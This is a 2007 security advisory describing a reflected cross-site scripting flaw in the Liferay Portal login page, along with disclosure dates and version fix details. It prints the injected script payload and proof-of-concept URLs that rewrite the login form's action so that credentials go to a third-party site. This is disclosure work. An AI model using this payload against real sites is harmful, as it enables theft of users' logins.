Vulnerability found:
06 March 2007

Vendor informed:
26 June 2007

Severity level:

Adrian Pastor [adrian.pastor [at]] from ProCheckUp Ltd ( ProCheckUp thanks Liferay for fixing this vulnerability so promptly.

Liferay Portal login page is vulnerable to Cross-Site Scripting within the "login" field processed by the "/c/portal/login" server-side script.


An attacker may be able to cause the execution of malicious script code in the browser of a user who visits a specially-crafted Liferay Portal URL,
or visits a page that submits a request to such URL. Such code would run within the security context of the target domain.
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information
(i.e.: usernames and passwords) to unauthorised third parties.
What's (partially) returned by the server
<input class="form-text" name="login" style="width: 150px;" type="text" value=""><script>document.fm1.action=""</script><a b="c">
Note: the victim user does not need to be authenticated for this vulnerability to be exploitable.
Injected payload
"><script>document.fm1.action=""</script><a b="c

Successfully tested on

Liferay-Portal: Liferay Portal Enterprise 4.1.1 (Cowper / Build 3101 / August 14, 2006)
(other versions of Liferay Portal might also be affected)

Proof of concept:
The provided XSS PoC URLs overwrite Liferay Portal login form's 'action' attribute. Thus, when the victim user clicks on the "Sign In" button, the credentials (username/password) are sent to a third-party site ( in this case).
http://target.tld/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.action=%22http:// http://target.tld/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.action=%22http%


How to fix:
The issue was fixed a while back, but re-surfaced in 4.1.0 and 4.1.1.

This issue has been fixed on version 4.1.3 and onwards.


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